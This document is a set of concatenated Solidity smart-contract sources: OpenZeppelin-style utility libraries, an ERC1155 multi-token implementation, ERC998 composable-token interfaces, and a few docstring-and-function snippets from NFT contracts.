*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC1155.sol";
import "./IERC1155Receiver.sol";
import "./extensions/IERC1155MetadataURI.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of the basic standard multi-token.
* See https://eips.ethereum.org/EIPS/eip-1155
* Originally based on code by Enjin: https://github.com/enjin/erc-1155
*
* _Available since v3.1._
*/
contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI {
using Address for address;
// Mapping from token ID to account balances
mapping(uint256 => mapping(address => uint256)) internal _balances;
// Mapping from account to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
// Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json
string private _uri;
/**
* @dev See {_setURI}.
*/
constructor(string memory uri_) {
_setURI(uri_);
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC1155).interfaceId ||
interfaceId == type(IERC1155MetadataURI).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC1155MetadataURI-uri}.
*
* This implementation returns the same URI for *all* token types. It relies
* on the token type ID substitution mechanism
* https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].
*
* Clients calling this function must replace the `\{id\}` substring with the
* actual token type ID.
*/
function uri(uint256) public view virtual override returns (string memory) {
return _uri;
}
/**
* @dev See {IERC1155-balanceOf}.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) public view virtual override returns (uint256) {
require(account != address(0), "ERC1155: balance query for the zero address");
return _balances[id][account];
}
/**
* @dev See {IERC1155-balanceOfBatch}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] memory accounts, uint256[] memory ids)
public
view
virtual
override
returns (uint256[] memory)
{
require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch");
uint256[] memory batchBalances = new uint256[](accounts.length);
for (uint256 i = 0; i < accounts.length; ++i) {
batchBalances[i] = balanceOf(accounts[i], ids[i]);
}
return batchBalances;
}
/**
* @dev See {IERC1155-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(_msgSender() != operator, "ERC1155: setting approval status for self");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC1155-isApprovedForAll}.
*/
function isApprovedForAll(address account, address operator) public view virtual override returns (bool) {
return _operatorApprovals[account][operator];
}
/**
* @dev See {IERC1155-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) public virtual override {
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: caller is not owner nor approved"
);
_safeTransferFrom(from, to, id, amount, data);
}
/**
* @dev See {IERC1155-safeBatchTransferFrom}.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public virtual override {
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: transfer caller is not owner nor approved"
);
_safeBatchTransferFrom(from, to, ids, amounts, data);
}
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function _safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: transfer to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data);
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount;
emit TransferSingle(operator, from, to, id, amount);
_doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function _safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
require(to != address(0), "ERC1155: transfer to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; ++i) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount;
}
emit TransferBatch(operator, from, to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data);
}
/**
* @dev Sets a new URI for all token types, by relying on the token type ID
* substitution mechanism
* https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].
*
* By this mechanism, any occurrence of the `\{id\}` substring in either the
* URI or any of the amounts in the JSON file at said URI will be replaced by
* clients with the token type ID.
*
* For example, the `https://token-cdn-domain/\{id\}.json` URI would be
* interpreted by clients as
* `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json`
* for token type ID 0x4cce0.
*
* See {uri}.
*
* Because these URIs cannot be meaningfully represented by the {URI} event,
* this function emits no events.
*/
function _setURI(string memory newuri) internal virtual {
_uri = newuri;
}
/**
* @dev Creates `amount` tokens of token type `id`, and assigns them to `account`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - If `account` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function _mint(
address account,
uint256 id,
uint256 amount,
bytes memory data
) internal virtual {
require(account != address(0), "ERC1155: mint to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), account, _asSingletonArray(id), _asSingletonArray(amount), data);
_balances[id][account] += amount;
emit TransferSingle(operator, address(0), account, id, amount);
_doSafeTransferAcceptanceCheck(operator, address(0), account, id, amount, data);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function _mintBatch(
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; i++) {
_balances[ids[i]][to] += amounts[i];
}
emit TransferBatch(operator, address(0), to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data);
}
/**
* @dev Destroys `amount` tokens of token type `id` from `account`
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens of token type `id`.
*/
function _burn(
address account,
uint256 id,
uint256 amount
) internal virtual {
require(account != address(0), "ERC1155: burn from the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, account, address(0), _asSingletonArray(id), _asSingletonArray(amount), "");
uint256 accountBalance = _balances[id][account];
require(accountBalance >= amount, "ERC1155: burn amount exceeds balance");
unchecked {
_balances[id][account] = accountBalance - amount;
}
emit TransferSingle(operator, account, address(0), id, amount);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
*/
function _burnBatch(
address account,
uint256[] memory ids,
uint256[] memory amounts
) internal virtual {
require(account != address(0), "ERC1155: burn from the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, account, address(0), ids, amounts, "");
for (uint256 i = 0; i < ids.length; i++) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 accountBalance = _balances[id][account];
require(accountBalance >= amount, "ERC1155: burn amount exceeds balance");
unchecked {
_balances[id][account] = accountBalance - amount;
}
}
emit TransferBatch(operator, account, address(0), ids, amounts);
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning, as well as batched variants.
*
* The same hook is called on both single and batched variants. For single
* transfers, the length of the `id` and `amount` arrays will be 1.
*
* Calling conditions (for each `id` and `amount` pair):
*
* - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* of token type `id` will be transferred to `to`.
* - When `from` is zero, `amount` tokens of token type `id` will be minted
* for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens of token type `id`
* will be burned.
* - `from` and `to` are never both zero.
* - `ids` and `amounts` have the same, non-zero length.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {}
function _doSafeTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) private {
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) {
if (response != IERC1155Receiver.onERC1155Received.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _doSafeBatchTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) private {
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (
bytes4 response
) {
if (response != IERC1155Receiver.onERC1155BatchReceived.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) {
uint256[] memory array = new uint256[](1);
array[0] = element;
return array;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev _Available since v3.1._
*/
interface IERC1155Receiver is IERC165 {
/**
@dev Handles the receipt of a single ERC1155 token type. This function is
called at the end of a `safeTransferFrom` after the balance has been updated.
To accept the transfer, this must return
`bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`
(i.e. 0xf23a6e61, or its own function selector).
@param operator The address which initiated the transfer (i.e. msg.sender)
@param from The address which previously owned the token
@param id The ID of the token being transferred
@param value The amount of tokens being transferred
@param data Additional data with no specified format
@return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed
*/
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
) external returns (bytes4);
/**
@dev Handles the receipt of a multiple ERC1155 token types. This function
is called at the end of a `safeBatchTransferFrom` after the balances have
been updated. To accept the transfer(s), this must return
`bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`
(i.e. 0xbc197c81, or its own function selector).
@param operator The address which initiated the batch transfer (i.e. msg.sender)
@param from The address which previously owned the token
@param ids An array containing ids of each token being transferred (order and length must match values array)
@param values An array containing amounts of each token being transferred (order and length must match ids array)
@param data Additional data with no specified format
@return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed
*/
function onERC1155BatchReceived(
address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping(bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
// Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
if (lastIndex != toDeleteIndex) {
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex
}
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
return set._values[index];
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function _values(Set storage set) private view returns (bytes32[] memory) {
return set._values;
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(Bytes32Set storage set) internal view returns (bytes32[] memory) {
return _values(set._inner);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(AddressSet storage set) internal view returns (address[] memory) {
bytes32[] memory store = _values(set._inner);
address[] memory result;
assembly {
result := store
}
return result;
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(UintSet storage set) internal view returns (uint256[] memory) {
bytes32[] memory store = _values(set._inner);
uint256[] memory result;
assembly {
result := store
}
return result;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
interface IERC998ERC721TopDown is IERC721, IERC721Receiver {
event ReceivedChild721(address indexed from, uint256 indexed toTokenId, address indexed childContract, uint256 childTokenId);
event TransferChild721(uint256 indexed fromTokenId, address indexed to, address indexed childContract, uint256 childTokenId);
function child721ContractsFor(uint256 tokenId) external view returns (address[] memory childContracts);
function child721IdsForOn(uint256 tokenId, address childContract) external view returns (uint256[] memory childIds);
function child721Balance(uint256 tokenId, address childContract, uint256 childTokenId) external view returns(uint256);
function safeTransferChild721From(uint256 fromTokenId, address to, address childContract, uint256 childTokenId, bytes calldata data) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol";
interface IERC998ERC1155TopDown is IERC721, IERC1155Receiver {
event ReceivedChild1155(address indexed from, uint256 indexed toTokenId, address indexed childContract, uint256 childTokenId, uint256 amount);
event TransferSingleChild1155(uint256 indexed fromTokenId, address indexed to, address indexed childContract, uint256 childTokenId, uint256 amount);
event TransferBatchChild1155(uint256 indexed fromTokenId, address indexed to, address indexed childContract, uint256[] childTokenIds, uint256[] amounts);
function child1155ContractsFor(uint256 tokenId) external view returns (address[] memory childContracts);
function child1155IdsForOn(uint256 tokenId, address childContract) external view returns (uint256[] memory childIds);
function child1155Balance(uint256 tokenId, address childContract, uint256 childTokenId) external view returns(uint256);
function safeTransferChild1155From(uint256 fromTokenId, address to, address childContract, uint256 childTokenId, uint256 amount, bytes calldata data) external;
function safeBatchTransferChild1155From(uint256 fromTokenId, address to, address childContract, uint256[] calldata childTokenIds, uint256[] calldata amounts, bytes calldata data) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC1155.sol";
/**
* @dev Interface of the optional ERC1155MetadataExtension interface, as defined
* in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP].
*
* _Available since v3.1._
*/
interface IERC1155MetadataURI is IERC1155 {
/**
* @dev Returns the URI for token type `id`.
*
* If the `\{id\}` substring is present in the URI, it must be replaced by
* clients with the actual token type ID.
*/
function uri(uint256 id) external view returns (string memory);
}
|
* @dev Execute the logic required to equip a single item. This involves: 1. Checking that the component contract is registered 2. Check that the item type is valid 3. Mark the new item as equipped 4. Transfer the new item to this contract 5. Transfer the old item back to the owner/ Get current item Equip the new item Pull in the item Send back old item
|
function _equip(
uint256 _tokenId,
address _itemAddress,
uint256 _itemId
) internal {
require(registry.isValidContract(_itemAddress), "Adventurer: Item contract must be in the registry");
string memory itemType = ILootmart(_itemAddress).itemTypeFor(_itemId);
require(registry.isValidItemType(itemType), "Adventurer: Invalid item type");
Item memory item = equipped[_tokenId][itemType];
address currentItemAddress = item.itemAddress;
uint256 currentItemId = item.id;
_transferItemIn(_tokenId, _msgSender(), _itemAddress, _itemId);
if (currentItemAddress != address(0)) {
_transferItemOut(_tokenId, ownerOf(_tokenId), currentItemAddress, currentItemId);
}
emit Equipped(_tokenId, _itemAddress, _itemId, itemType);
}
| 1,739,520
|
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./partial_match/56/0xAF11c385ecee6cF72ae37658d4367eFB25a4B2Da/sources/Sota1155General.sol
|
* @title Sota1155 General Sota1155General - Collect normal NFTs from Sota user/
|
contract Sota1155General is ERC1155Tradable {
constructor()
public
ERC1155Tradable("SOTA1155 General", "SOTA1155 General")
{
}
}
| 11,094,698
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] |
